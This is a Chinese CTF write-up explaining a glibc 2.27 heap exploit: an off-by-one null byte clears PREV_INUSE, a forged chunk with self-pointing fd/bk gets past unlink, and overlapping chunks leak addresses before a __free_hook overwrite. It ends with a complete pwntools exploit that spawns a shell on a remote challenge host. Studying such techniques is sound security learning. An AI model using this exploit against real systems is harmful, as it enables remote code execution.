原文链接:https://tover.xyz/p/PWN-Note-2-Off-by-One-and-Unlink/
如题,这次写一下unsortedbin
的利用,unsortedbin
的检查比tcachebin
和fastbin
复杂很多,所以一直是(我的)一个很头痛的问题
题目:https://www.nssctf.cn/problem/2513
调试的libc
:https://ftp.gnu.org/gnu/libc/glibc-2.27.tar.gz
漏洞点
这题的漏洞在deit
函数的check
中

在check
时如果遇到0x11
就会改成0x00
,妥妥的后门了
如果熟悉堆结构的话,会知道0x11
是一个常出现在堆块的size
中的数
看一下题目允许的堆块大小

也就是如果分配0x111
、0x211
或0x311
的堆块的话通过填满物理地址的上一个堆块,就可以把这个堆块的大小改成0x100
、0x200
或0x300
这里如果是把堆块大小改大的话,那么很简单地可以想到可以把物理地址的下一个堆块放到tcachebin
中,然后改fd
指针实现任意写
但这里只能改一字节,而且只能把字节改成0x00
,也就是只能把下一个堆块的大小改小
PS:这种只溢出一字节的,在PWN中叫做Off by one,Off by one
不一定只能溢出0x00
,只是这题做了限制而已
回想一下,在笔记vol.1构造fake_chunk
,如果乱构造的话会触发malloc.c:4280
的条件(源码是这个)

当时并没说这个条件具体是做什么的
其实prev_inuse
拿的就是next_chunk
的size
的最低为,假设next_chunk
的size
是0x211
的话,那么prev_inuse(next_chunk)
就是1
,如果触发Off by one
把大小改成0x200
的话,prev_inuse(next_chunk)
就是0
也就是除了把物理地址的下一个堆块改小外,这个漏洞还可以把当前堆块标记为未被使用的状态,也就是被free
掉的状态
这里直接说结论,如果一个堆块被标记为NOT INUSE
的话,那么在free
掉这个堆块的物理相邻的堆块,而且被free
的堆块不满足tcachebin
或fastbin
的条件时,就会尝试把这个NOT INUSE
的堆块从它所在的bin
中进行unlink
操作,然后将被free
的堆块和这个NOT INUSE
的堆块进行合并(注意是物理地址的合并,不是bin
的合并)
这里听着挺拗口的,可以在后面在慢慢体会这个过程
攻击思路
所以现在就有了一个可以修改nextchunk
的PREV_INUSE
位把堆块改成NOT INUSE
的功能
然后我的想法是,可以在堆上叠出这样的一个东西
chunk1 <= PREV_INUSE=1
chunk2 <= PREV_INUSE=1
然后写满chunk1
进行Off by one
,就会把chunk1
改成NOT INUSE
chunk1 <= PREV_INUSE=1
chunk2 <= PREV_INUSE=0
这时如果delete
掉chunk2
的话,就会触发堆块合并,把chunk1
和chunk2
合并,然后再add
一个chunk1
加chunk2
大小的堆块,就可以得到一个新的堆块chunk3
,其中chunk3
的物理位置是原来chunk1
加chunk2
的位置
chunk3 <= PREV_INUSE=1 => chunk1
<= PREV_INUSE=0 => chunk2
而且很重要的一点是,chunk1
和chunk3
指向同一个物理位置,注意这个过程中,chunk1
都没有被delete
过,所以这里delete
掉chunk3
后,就可以用chunk1
的指针进行uaf
最后用笔记vol.0的打法,写free_hook
即可
下面细说具体的操作
Part.1 泄露heap_base
这题依然可以利用tcachebin
泄露heap_base
首先add
两个大小一样的堆块,然后依次delete
掉,那么在对应的tcachebin
上就会形成
chunk2 -> chunk1 -> NULL
这时chunk2
的fd
指针就会指向chunk1
然后再add
一个一样大小的堆块,根据tcache
的机制就可以拿到chunk2
,而且这时chunk2
的fd
指针不会被清零,所以进行依次show
就可以拿到chunk1
的地址,也就泄露出heap_base
Part.2 泄露libc_base
失败的方法
泄露libc_base
的话我有想过用类似的方法,就是先把一个堆块delete
到unsortedbin
,这样就可以把main_arena
的地址写到这个堆块的fd
指针上,然后通过add
把这个堆块拿回来,再用show
去读fd
指针
但实际操作下来好像不太行,首先因为题目对add
的大小有限制,所以要到unsortedbin
的话就要先把tcachebin
填满,而且add
的时候也要先把tcachebin
的堆块全拿出来才能拿到那个在unsortedbin
的堆块
然后在malloc
的时候还有一段这个东西

就是如果malloc
时是从unsortedbin
中拿堆块的话,就会有一个把unsortedbin
的堆块放到合适的bin
中的过程
其中有一个步骤是,先把这个堆块从unsortedbin
上unlink
出来(malloc.c:3778
),然后再看这个拿出来的堆块victim
是不是满足tcachebin
的条件(malloc.c:3791
),如果是的话就执行tcache_put
把victim
放到tcachebin
中
注意这时如果我要拿到unsortedbin
的话,就要先清空tcachebin
,所以tcache->counts[tc_idx] = 0
,也就会满足malloc.c:3792
的条件
在tcache_put
中会有一句e->next = tcache->entries[tc_idx]

这里的next
指针相当于在unsortedbin
机制中的fd
指针,也就是这一步会把在unsortedbin
中拿出来的堆块的fd
指针改为0
而题目中的show
限制了只能拿到堆块的fd
指针

所以就搞不定了
通过堆块合并泄露
在攻击思路中有提到,通过Off by one
可以触发堆块的合并,然后可以构造出两个指针指向同一个堆块,这样的话,如果用其中一个指针把堆块delete
到unsortedbin
中,就可以用另一个指针泄露出main_arena
地址了
下面实际操作一波
如果要利用Off by one
的话,就需要被Off by one
的堆块的大小的低字节为0x11
,这里首先排除0x111
,因为这样在Off by one
后需要把0x100
的堆块放到unsortedbin
中,这就需要0x100
的tcachebin
被填满,而题目add
限制了不能分配0x100
的堆块,所以就不太好操作
PS:感觉利用Off by one
修改堆块大小后再delete
也可以,不过这样就太麻烦了
然后因为合并后的堆块要小于0x400
才能被add
,所以分配的堆块越小越好,于是这里就选择使用0x211
的堆块
再然后,被合并的堆块的大小要小于0x400 - 0x210 = 0x1f0
,这里我就随便选一个0x111
好了,也就是add(0x108)
注意在add
的时候,十六进制的最低位要是8
,这样才能在写满堆块后,堆块中的内容和下一个堆块的size
相连
根据攻击思路的话,我现在需要先在堆上叠一个这样的东西
chunk0
chunk1(0x111) <= aad(0x108)
chunk2(0x211)
not top_chunk
注意chunk2
下面不能是top_chunk
,不然一会delete
的时候会把chunk2
和top_chunk
合并,而不是放到unsortedbin
中
然后把chunk1
写满触发Off by one
,把chunk2
的size
改为0x200
chunk0
chunk1(0x111) <= aad(0x108)
chunk2(0x200)
old_chunk2 <= 0x10 space
not top_chunk
最后对chunk2
进行delete
,因为我想把合并后的堆块放到unsortedbin
中,所以在delete
前还要先把大小为0x200
的unsortedbin
填满
绕过free的检查和报错
理论上这就会触发chunk1
和chunk2
的合并,但事情并没有这么简单
主要就是free
的时候如果不是tcachebin
或fastbin
的堆块的话,就会对物理地址的上下两个堆块的INUSE
状态进行检查,而且调用unlink
的时候如果没构造好的话也会报错,下面细说
绕过double free
因为这时的chunk2
并不是一个正常的堆块,所以在delete
时需要绕过free
中的一堆检查,不然程序会崩溃
首先第一个是老朋友malloc.c:4280

就是chunk2
的物理地址的下一个堆块的PREV_INUSE
位要是1
,不然就会被认为是对一个NOT INUSE
的堆块进行free
,触发double free
错误
nextchunk
就是上面我叠出来的old_chunk2
,只需要把这个地方改成一个假的堆块头(fake_chunk
)就可以绕过检查
这里我想把堆叠的正常一点,所以我会选择在fake_chunk
下面加个正常的堆块chunk3
,然后让fake_chunk
的下一个堆块和chunk3
的下一个堆块指向相同的堆块
大概就是
chunk0
chunk1(0x111) <= aad(0x108)
chunk2(0x200)
fake_chunk(0x221) <= 0x10 space
chunk3(0x211)
top_chunk
绕过prev_size
然后下一个要绕的地方是malloc.c:4292
的prevsize

这个地方大概说的是,如果当前堆块PREV_INUSE
位为0
的话(我现在delete
的chunk2
就是),就会把物理地址的上一个堆块从bin
中给unlink
出来,然后再和当前堆块进行合并
而要做这一步,首先需要找到物理地址的上一个堆块,这里的做法是通过当前堆块的地址减去当前堆块的prev_size
chunk2
的prev_size
就是chunk1
的最后8
个字节,如果我的chunk1
是乱搞的话(比如写满字符0
),就是

这样在根据prev_size
去找上一个堆块是就会找到一个不存在的地址,触发SIGSEGV
所以在写chunk1
的时候,要在最后8
字节写上chunk1
的大小,这样chunk_at_offset(p, -((long) prevsize))
拿到的就是chunk1
,是一个正常的堆块

注意这里prev_size
写0x110
绕过unlink
如无意外到malloc.c:4295
的unlink
也会报SIGSEGV
这里的unlink
是一个宏定义,所以调试追不进去
不妨先看看定义

这里最起码P->fd
和P->bk
是一个可以访问的地址,我两个都是乱写的0x3131313131313131
那就肯定报错了
问题是,这两个地址应该写什么呢
先看看unlink
做了什么,除去一堆检查的话,主要就是一个简单的把P
从双链表上拿下来的过程
FD = P->fd
BK = P->bk
FD->bk = BK
BK->fd = FD
PS:CTF Wiki上也有unlink
的内容,可以先看看,虽然个人感觉也讲得不太清晰就是了。。。
这里我并不是想要利用unlink
实现某些攻击,只是想绕过不让它报错而已
现在我能控制的是P->fd
和P->bk
,所以可以想到的一个简单的方法是,设
P->fd = P
P->bk = P
那么就是
FD = P->fd => FD = P
BK = P->bk => BK = P
然后
FD->bk = BK => FD->bk = P
BK->fd = FD => BK->fd = P
最终的结果依然还是
P->fd = P
P->bk = P
也就是在什么都没改变的情况下就顺利跑完了unlink
这时的prev_chunk
长这样子

绕过nextchunk的unlink
除了对上一个堆块进行合并的unlink
外,在malloc.c:4304
还有一处对下一个堆块合并的unlink

这里的nextchunk
即上面叠出来的fake_chunk
,首先根据题目的条件,这里只有0x10
的空间可以控制,不能写到这个fake_chunk
的fd
和bk
,也就不能用chunk2
的方法进行绕过
然后fake_chunk
也不可能为top_chunk
,所以malloc.c:4298
的if
是肯定要进的
最后就只剩绕过malloc.c:4303
的条件了,就是检查netchunk
是否INUSE
检查的方法是用nextchunk
的地址加上nextsize
找到nextnextchunk
(源码中没有这个变量,名字我瞎编的),然后检查nextnextchunk
的PREV_INUSE
位
这里如果是按我现在的方式叠的话,nextnextchunk
就是top_chunk
,而top_chunk
的PREV_INUSE
位固定为1
,所以就不会进这个if
条件
PS:如果不想像我这样叠的话,也可以在chunk3
中写下另一个假的堆头,然后把nextnextchunk
指向这个堆头
泄露libc_base
如无意外上面绕完后就可以成功delete
掉chunk2
,并且触发chunk1
和chunk2
的合并(令合并后的堆块为chunk4
好了),这时堆上大概长
chunk0
chunk4(0x311) <= chunk1 point at here
fake_chunk(0x220) <= contain chunk3
top_chunk

注意这时chunk4
已经被delete
到unsortedbin
上,所以chunk4
的fd
和bk
都指向main_arena
虽然我不能直接拿到chunk4
的指针,但是chunk4
原来也是chunk1
的位置,而且chunk1
没被delete
过,所以对chunk1
进行show
就可以拿到chunk4
的fd
,泄露出libc_base
Part.3 写free_hook
触发堆块合并后,后面的事情就简单很多了
注意0x311
其实是一个tcachebin
的大小,只是因为合并前0x200
的tcachebin
被填满了,所以chunk4
才会到unsortedbin
中
这时需要先把chunk4
挪到tcachebin
中,只需要进行一次add(0x308)
然后再delete
掉就好,这时tcachebin
上就是
chunk4 -> NULL
然后利用chunk1
的指针,可以把chunk4
的fd
改成free_hook
,这样tcachebin
就是
chunk4 -> free_hook
进行两次add(0x308)
后就可以把堆块分配到free_hook
最后在free_hook
上写上one_gadget
或者system
然后delete
就搞定了
参考Exp
from pwn import *
from time import sleep
context.log_level = 'debug'
context.terminal = ['wt.exe', 'bash', '-c']
T = 0.1
LOCAL = False
AUTOGDB = True
if LOCAL:
env = {'LD_LIBRARY_PATH': '.'}
r = process('./service', env=env)
if AUTOGDB:
gid, g = gdb.attach(r, api=True, gdbscript='')
sleep(1)
AUTOGDB and g.execute('dir /path/to/glibc-2.27/malloc/') and sleep(T)
AUTOGDB and g.execute('c') and sleep(T)
else:
gdb.attach(r, gdbscript='dir /path/to/glibc-2.27/malloc/')
input('Waiting GDB...')
else:
AUTOGDB = False
r = remote('node4.anna.nssctf.cn', 28727)
def add(size):
r.sendlineafter(b'> ', b'1')
r.sendlineafter(b'size: ', str(size).encode())
sleep(T)
def delete(index):
r.sendlineafter(b'> ', b'2')
r.sendlineafter(b'index: ', str(index).encode())
sleep(T)
def edit(index, content):
r.sendlineafter(b'> ', b'3')
r.sendlineafter(b'index: ', str(index).encode())
sleep(T)
r.send(content)
sleep(T)
def show(index):
r.sendlineafter(b'> ', b'4')
r.sendlineafter(b'index: ', str(index).encode())
return bytes.fromhex(r.recvuntil(b'This', drop=True).decode())
AUTOGDB and g.execute('p "leak heap_base"') and sleep(T)
add(0x1f8) # 0
add(0x1f8) # 1
delete(0)
delete(1)
add(0x1f8) # 0
AUTOGDB and g.execute('hexdump *(size_t*)[imath:0]rebase(0x4100)-0x10 0x4096') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
heap_base = u64(show(0)[::-1].ljust(8, b'\x00')) - 0x260
print(f'{hex(heap_base) = }')
delete(0)
# make chunk_8(0x200) in unsortedbin
for _ in range(7):
add(0x1f8) # 0 - 6
for i in range(7):
delete(i)
add(0x108) # 0
add(0x208) # 1
add(0x208) # 2, split top_chunk
edit(0, b'0' * 0x108)
chunk0 = heap_base + 0x1050
# fd, bk = chunk0
# nextchunk->prev_size = 0x110
edit(0, p64(chunk0) + p64(chunk0) + b'0' * 0x0f0 + p64(0x110)) # or 0x11 -> 0x00
AUTOGDB and g.execute('p "unlink and leak libc_base"') and sleep(T)
AUTOGDB and g.execute('x/16gx [/imath:0]rebase(0x4100)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
#AUTOGDB and g.execute('b malloc.c:4291') and sleep(T)
edit(1, b'1' * 0x1f0 + p64(0x220) + p64(0x221)) # fake_chunk
delete(1)
AUTOGDB and g.execute('x/16gx [imath:0]rebase(0x4100)') and sleep(T)
AUTOGDB and g.execute('bins') and sleep(T)
AUTOGDB and g.execute('hexdump *(size_t*)[/imath:0]rebase(0x4100)-0x10 0x450') and sleep(T)
#libc_base = u64(show(0)[::-1].ljust(8, b'\x00')) - 0x39fc80 # debug
libc_base = u64(show(0)[::-1].ljust(8, b'\x00')) - 0x3ebca0
print(f'{hex(libc_base) = }')
AUTOGDB and g.execute('p "uaf"') and sleep(T)
#libc = ELF('libc-2.27-debug.so') # debug
# https://libc.blukat.me/d/libc6_2.27-3ubuntu1.5_amd64.so
libc = ELF('libc6_2.27-3ubuntu1.5_amd64.so')
libc_free_hook = libc_base + libc.symbols['__free_hook']
libc_system = libc_base + libc.symbols['system']
add(0x308) # 1
delete(1)
edit(0, p64(libc_free_hook))
AUTOGDB and g.execute('bins') and sleep(T)
add(0x308) # 1
add(0x308) # 3
AUTOGDB and g.execute('x/16gx $rebase(0x4100)') and sleep(T)
edit(1, b'/bin/sh\x00')
edit(3, p64(libc_system))
delete(1)
r.interactive()
r.close()
历史笔记